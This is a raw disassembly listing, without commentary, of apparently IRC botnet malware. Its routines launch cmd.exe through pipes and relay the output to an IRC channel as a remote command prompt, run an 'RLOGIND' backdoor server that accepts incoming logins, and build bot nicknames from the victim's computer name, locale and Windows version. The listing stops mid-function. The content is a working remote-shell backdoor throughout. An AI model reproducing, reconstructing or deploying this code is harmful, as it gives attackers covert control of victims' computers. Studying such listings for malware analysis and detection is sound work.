; ---------------------------------------------------------------------------
loc_40EE21: ; CODE XREF: sub_40EDEE+28j
push 1
pop eax
leave
retn
sub_40EDEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40EE26(int,char *Str1,int)
sub_40EE26 proc near ; CODE XREF: sub_40EEAD+D3p
; sub_40EEAD+F2p ...
Str = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_428D64 ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40EE69
push 7D0h
call ds:dword_41B048 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Str]
push [ebp+Str1]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_40EE80
; ---------------------------------------------------------------------------
loc_40EE69: ; CODE XREF: sub_40EE26+1Aj
push [ebp+arg_8]
lea eax, [ebp+Str]
push offset aS_2 ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40EE80: ; CODE XREF: sub_40EE26+41j
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
test eax, eax
jg short loc_40EEA9
call sub_40EDBE
loc_40EEA9: ; CODE XREF: sub_40EE26+7Cj
xor eax, eax
leave
retn
sub_40EE26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EEAD proc near ; DATA XREF: sub_40F002+170o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset byte_47526C
loc_40EEC5: ; CODE XREF: sub_40EEAD+79j
; sub_40EEAD+DBj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_475260
call ds:dword_41B130 ; PeekNamedPipe
test eax, eax
jz loc_40EF93
cmp [ebp+var_4], edi
jnz short loc_40EF28
lea eax, [ebp+var_8]
push eax
push dword_47525C
call ds:dword_41B12C ; GetExitCodeProcess
test eax, eax
jz short loc_40EF1E
cmp [ebp+var_8], 103h
jnz loc_40EFB7
loc_40EF1E: ; CODE XREF: sub_40EEAD+62j
push 0Ah
call ds:dword_41B048 ; Sleep
jmp short loc_40EEC5
; ---------------------------------------------------------------------------
loc_40EF28: ; CODE XREF: sub_40EEAD+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_40EF3F
loc_40EF2F: ; CODE XREF: sub_40EEAD+90j
cmp [ebp+eax+Dst], 0Ah
jz short loc_40EF8D
inc eax
cmp eax, [ebp+var_4]
jb short loc_40EF2F
loc_40EF3F: ; CODE XREF: sub_40EEAD+80j
mov [ebp+var_4], esi
loc_40EF42: ; CODE XREF: sub_40EEAD+E4j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push dword_475260
call ds:dword_41B04C ; ReadFile
test eax, eax
jz short loc_40EFDF
lea eax, [ebp+Dst]
push eax ; int
push ebx ; Str1
push dword_4752A0 ; int
call sub_40EE26
add esp, 0Ch
jmp loc_40EEC5
; ---------------------------------------------------------------------------
loc_40EF8D: ; CODE XREF: sub_40EEAD+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_40EF42
; ---------------------------------------------------------------------------
loc_40EF93: ; CODE XREF: sub_40EEAD+45j
push offset aCmdCouldNotRea ; "[CMD]: Could not read data from procces"...
push ebx ; Str1
push dword_4752A0 ; int
call sub_40EE26
push [ebp+arg_0]
call sub_411F56
add esp, 10h
push 1
call ds:dword_41B06C ; ExitThread
loc_40EFB7: ; CODE XREF: sub_40EEAD+6Bj
call sub_40EDBE
push offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
push ebx ; Str1
push dword_4752A0 ; int
call sub_40EE26
push [ebp+arg_0]
call sub_411F56
add esp, 10h
push edi
call ds:dword_41B06C ; ExitThread
loc_40EFDF: ; CODE XREF: sub_40EEAD+C3j
push offset aCmdCouldNotR_0 ; "[CMD]: Could not read data from procces"...
push ebx ; Str1
push dword_4752A0 ; int
call sub_40EE26
push [ebp+arg_0]
call sub_411F56
add esp, 10h
push edi
call ds:dword_41B06C ; ExitThread
sub_40EEAD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F002 proc near ; CODE XREF: sub_409557+4A31p
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_40EDBE
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_42EC6C ; SearchPathA
test eax, eax
jz loc_40F0FC
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_41B138
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_40F0FC
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_40F0FC
mov edi, ds:dword_41B100
push 3
push esi
push esi
push offset dword_475264
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_41B134 ; DuplicateHandle
test eax, eax
jz short loc_40F0FC
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_74]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_428D64
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_41B094 ; CreateProcessA
test eax, eax
jnz short loc_40F104
loc_40F0FC: ; CODE XREF: sub_40F002+2Fj
; sub_40F002+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_40F1B2
; ---------------------------------------------------------------------------
loc_40F104: ; CODE XREF: sub_40F002+F8j
push [ebp+var_4]
mov edi, ds:dword_41B050
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_475260, eax
mov eax, [ebp+var_8]
mov dword_475268, eax
mov eax, [ebp+Dst]
mov dword_47525C, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4752A0, eax
jz short loc_40F13E
push [ebp+arg_4]
jmp short loc_40F13F
; ---------------------------------------------------------------------------
loc_40F13E: ; CODE XREF: sub_40F002+135j
push ebx ; Format
loc_40F13F: ; CODE XREF: sub_40F002+13Aj
push offset byte_47526C ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 7 ; int
push offset aCmdRemoteComma ; "[CMD]: Remote Command Prompt"
call sub_411C3A
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_430548[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_40EEAD
push esi
push esi
call ds:dword_41B064 ; CreateThread
cmp eax, esi
mov dword_430554[edi], eax
jnz short loc_40F1B0
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset aCmdFailedToSta ; "[CMD]: Failed to start IO thread, error"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_402D63
add esp, 10h
loc_40F1B0: ; CODE XREF: sub_40F002+185j
xor eax, eax
loc_40F1B2: ; CODE XREF: sub_40F002+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_40F002 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F1B7 proc near ; DATA XREF: sub_40F445+1BEo
var_3D4 = byte ptr -3D4h
Str1 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
Dest = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
Args = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43054C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_42EB9C ; select
test eax, eax
jnz short loc_40F23B
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_40F23B: ; CODE XREF: sub_40F1B7+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_42EBCC ; recv
lea eax, [ebp+Args]
push 10h
push eax
push dword ptr [esi]
call sub_40F3BC
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_40F3BC
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_40F3BC
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_42EB1C ; getpeername
test eax, eax
jz short loc_40F2B4
call dword_42EB50 ; WSAGetLastError
push eax ; Args
push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
call sub_402DD7
push [ebp+arg_0]
call sub_411F56
add esp, 0Ch
push edi
call ds:dword_41B06C ; ExitThread
loc_40F2B4: ; CODE XREF: sub_40F1B7+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_42EB70 ; gethostbyaddr
cmp eax, edi
jnz short loc_40F2DE
push [ebp+var_18]
call dword_42EC3C ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
jmp short loc_40F2EC
; ---------------------------------------------------------------------------
loc_40F2DE: ; CODE XREF: sub_40F1B7+10Dj
push dword ptr [eax] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
loc_40F2EC: ; CODE XREF: sub_40F1B7+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_428D64
push dword ptr [esi]
call dword_42EC00 ; send
cmp dword_4752B0, edi
jnz short loc_40F34E
push [ebp+var_18]
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Args]
push eax ; Args
call sub_40F416
add esp, 10h
test eax, eax
jnz short loc_40F34E
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_42EC00 ; send
push dword ptr [esi]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call sub_411F56
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_40F34E: ; CODE XREF: sub_40F1B7+14Cj
; sub_40F1B7+16Dj
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
call sub_402DD7
push [ebp+arg_0]
call sub_40FC5F
add esp, 10h
test eax, eax
jnz short loc_40F395
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
call sub_402DD7
push [ebp+arg_0]
call sub_411F56
add esp, 0Ch
push ebx
call ds:dword_41B06C ; ExitThread
loc_40F395: ; CODE XREF: sub_40F1B7+1B9j
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Args]
push eax ; Args
push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
call sub_402DD7
push [ebp+arg_0]
call sub_411F56
add esp, 10h
push edi
call ds:dword_41B06C ; ExitThread
sub_40F1B7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3BC proc near ; CODE XREF: sub_40F1B7+9Ap
; sub_40F1B7+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_42EBCC ; recv
cmp eax, 1
jnz short loc_40F40C
mov esi, [ebp+arg_4]
loc_40F3DA: ; CODE XREF: sub_40F3BC+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_40F401
test al, al
jz short loc_40F410
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_42EBCC ; recv
cmp eax, 1
jz short loc_40F3DA
jmp short loc_40F40C
; ---------------------------------------------------------------------------
loc_40F401: ; CODE XREF: sub_40F3BC+27j
push offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
call sub_402DD7
pop ecx
loc_40F40C: ; CODE XREF: sub_40F3BC+19j
; sub_40F3BC+43j
xor eax, eax
jmp short loc_40F413
; ---------------------------------------------------------------------------
loc_40F410: ; CODE XREF: sub_40F3BC+2Bj
push 1
pop eax
loc_40F413: ; CODE XREF: sub_40F3BC+52j
pop esi
leave
retn
sub_40F3BC endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40F416(char *Args,int,char *Str1)
sub_40F416 proc near ; CODE XREF: sub_40F1B7+163p
Args = dword ptr 4
arg_4 = dword ptr 8
Str1 = dword ptr 0Ch
push [esp+Args] ; Str2
push [esp+4+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F441
push [esp+arg_4]
push [esp+4+Args] ; Args
push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
call sub_402DD7
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40F441: ; CODE XREF: sub_40F416+11j
push 1
pop eax
retn
sub_40F416 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F445 proc near ; DATA XREF: sub_409557+48DAo
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
Source = byte ptr -414h
var_214 = dword ptr -214h
Str = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_42EB38 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_40F49E
push eax ; Args
push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
call sub_402DD7
push [ebp+var_4C]
call sub_411F56
add esp, 0Ch
push edi
call ds:dword_41B06C ; ExitThread
loc_40F49E: ; CODE XREF: sub_40F445+3Aj
push edi
push offset loc_40F6C3
call ds:dword_41B13C ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_40F4D7
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
call sub_402DD7
pop ecx
pop ecx
call dword_42EB20 ; WSACleanup
push [ebp+var_4C]
call sub_411F56
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_40F4D7: ; CODE XREF: sub_40F445+67j
push ebx
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_50]
call dword_42EBB4 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_42EC30 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40F64E
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43054C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_42EBE0 ; bind
test eax, eax
jnz loc_40F64E
push 7FFFFFFFh
push ebx
call dword_42EBDC ; listen
test eax, eax
jnz loc_40F64E
push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_402D63
pop ecx
mov [ebp+arg_0], edi
loc_40F566: ; CODE XREF: sub_40F445+15Aj
; sub_40F445+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_42EC44 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_40F651
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_42EB94 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_40F566
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"...
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_402D63
push edi ; int
lea eax, [ebp+Source]
push 6 ; int
push eax ; Source
call sub_411C3A
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_430544[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_40F1B7
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_430554[ecx], eax
jz short loc_40F639
loc_40F626: ; CODE XREF: sub_40F445+1F2j
cmp [ebp+var_38], esi
jnz loc_40F566
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40F626
; ---------------------------------------------------------------------------
loc_40F639: ; CODE XREF: sub_40F445+1DFj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
call sub_402DD7
pop ecx
pop ecx
jmp short loc_40F651
; ---------------------------------------------------------------------------
loc_40F64E: ; CODE XREF: sub_40F445+C8j
; sub_40F445+ECj ...
mov edi, [ebp+arg_0]
loc_40F651: ; CODE XREF: sub_40F445+13Cj
; sub_40F445+207j
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Source]
push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_40F691
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_40] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_405E64
add esp, 14h
loc_40F691: ; CODE XREF: sub_40F445+22Aj
lea eax, [ebp+Source]
push eax
call sub_402D63
pop ecx
push edi
call dword_42EC48 ; closesocket
push ebx
call dword_42EC48 ; closesocket
call dword_42EB20 ; WSACleanup
push [ebp+var_4C]
call sub_411F56
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop ebx
loc_40F6C3: ; DATA XREF: sub_40F445+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_40F445 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_40F6CD(char *Dest)
sub_40F6CD proc near ; CODE XREF: sub_40FA38+49p
; DATA XREF: .data:off_427798o
var_C = dword ptr -0Ch
Dest = dword ptr 4
push esi
push edi
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
mov edi, [esp+0Ch+Dest]
mov [esp+0Ch+var_C], offset aFf_1 ; "[FF]-"
push offset aS_2 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_424A64, esi
jle short loc_40F726
loc_40F700: ; CODE XREF: sub_40F6CD+57j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_424A64
jl short loc_40F700
loc_40F726: ; CODE XREF: sub_40F6CD+31j
mov eax, edi
pop edi
pop esi
retn
sub_40F6CD endp
; =============== S U B R O U T I N E =======================================
sub_40F72B proc near ; CODE XREF: sub_409557+3601p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
pop ecx
call _rand
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_424A64
test esi, esi
jle short loc_40F76E
loc_40F758: ; CODE XREF: sub_40F72B+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40F758
loc_40F76E: ; CODE XREF: sub_40F72B+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40F72B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4277F4
push eax
push esi
call ds:dword_41B0FC ; GetComputerNameA
movsx eax, byte_4277F4
push 41h
pop ecx
push 1
pop edx
loc_40F7B4: ; CODE XREF: .text:0040F7BFj
cmp eax, ecx
jnz short loc_40F7BB
mov [ebp-4], edx
loc_40F7BB: ; CODE XREF: .text:0040F7B6j
inc ecx
cmp ecx, 5Bh
jl short loc_40F7B4
push 61h
pop ecx
loc_40F7C4: ; CODE XREF: .text:0040F7CFj
cmp eax, ecx
jnz short loc_40F7CB
mov [ebp-4], edx
loc_40F7CB: ; CODE XREF: .text:0040F7C6j
inc ecx
cmp ecx, 7Bh
jl short loc_40F7C4
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 0Ch
cmp dword_424A64, esi
jle short loc_40F810
loc_40F7EA: ; CODE XREF: .text:0040F80Ej
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_424A64
jl short loc_40F7EA
loc_40F810: ; CODE XREF: .text:0040F7E8j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_41B140 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4277F8
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_424A64, esi
jle short loc_40F885
loc_40F85F: ; CODE XREF: .text:0040F883j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_424A64
jl short loc_40F85F
loc_40F885: ; CODE XREF: .text:0040F85Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_428D64
mov dword ptr [ebp-94h], 94h
call ds:dword_41B144 ; GetVersionExA
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40F90F
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40F8EF
cmp dword ptr [ebp-84h], 1
jnz short loc_40F8DF
mov esi, offset a95 ; "95"
loc_40F8DF: ; CODE XREF: .text:0040F8D8j
cmp dword ptr [ebp-84h], 2
jnz short loc_40F94B
mov esi, offset aNt ; "NT"
jmp short loc_40F94B
; ---------------------------------------------------------------------------
loc_40F8EF: ; CODE XREF: .text:0040F8CFj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40F8FF
mov esi, offset a98 ; "98"
jmp short loc_40F94B
; ---------------------------------------------------------------------------
loc_40F8FF: ; CODE XREF: .text:0040F8F6j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40F946
mov esi, offset aMe_0 ; "ME"
jmp short loc_40F94B
; ---------------------------------------------------------------------------
loc_40F90F: ; CODE XREF: .text:0040F8C6j
cmp dword ptr [ebp-90h], 5
jnz short loc_40F946
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40F928
mov esi, offset a2k ; "2K"
jmp short loc_40F94B
; ---------------------------------------------------------------------------
loc_40F928: ; CODE XREF: .text:0040F91Fj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40F938
mov esi, offset aXp ; "XP"
jmp short loc_40F94B
; ---------------------------------------------------------------------------
loc_40F938: ; CODE XREF: .text:0040F92Fj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40F94B
loc_40F946: ; CODE XREF: .text:0040F906j
; .text:0040F916j
mov esi, offset a??? ; "???"
loc_40F94B: ; CODE XREF: .text:0040F8E6j
; .text:0040F8EDj ...
mov edi, [ebp+8]
push esi
push offset aS_5 ; "[%s]|"
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp dword_424A64, esi
jle short loc_40F98F
loc_40F969: ; CODE XREF: .text:0040F98Dj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, dword_424A64
jl short loc_40F969
loc_40F98F: ; CODE XREF: .text:0040F967j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40F995(char *Source)
sub_40F995 proc near ; CODE XREF: sub_40FA38+5Cp
Dest = byte ptr -1Ch
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_41B078 ; GetTickCount
xor edx, edx
mov ecx, 337F9800h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 0Ah
jbe short loc_40F9E4
call dword_42EBC0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40F9CD
mov eax, offset byte_428D64
loc_40F9CD: ; CODE XREF: sub_40F995+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Dest]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40FA04
; ---------------------------------------------------------------------------
loc_40F9E4: ; CODE XREF: sub_40F995+22j
call dword_42EBC0 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_40F9F8
mov eax, offset byte_428D64
loc_40F9F8: ; CODE XREF: sub_40F995+5Cj
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40FA04: ; CODE XREF: sub_40F995+4Dj
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
pop ecx
cmp eax, 2
pop esi
jbe short loc_40FA33
push 1Ch ; Count
lea eax, [ebp+Dest]
push [ebp+Source] ; Source
push eax ; Dest
call _strncat
lea eax, [ebp+Dest]
push 1Ch ; Count
